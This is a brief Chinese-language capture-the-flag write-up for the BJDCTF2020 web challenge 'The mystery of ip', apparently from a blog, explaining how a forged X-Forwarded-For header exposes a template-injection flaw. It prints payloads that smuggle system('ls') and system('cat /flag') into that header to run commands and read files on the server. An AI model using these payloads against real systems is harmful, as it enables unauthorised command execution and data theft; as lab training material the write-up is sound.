[BJDCTF2020]The mystery of ip 2020-10-30 19:34 | 935 | 0 | WEB 31 字 | 几秒读完 提示IP 猜测用XFF,伪造XFF头看看情况 用X-Forwarded-For: {{7*7}}有回显 构造payload: X-Forwarded-For: {{system("ls")}} X-Forwarded-For: {{system("cat /flag")}} web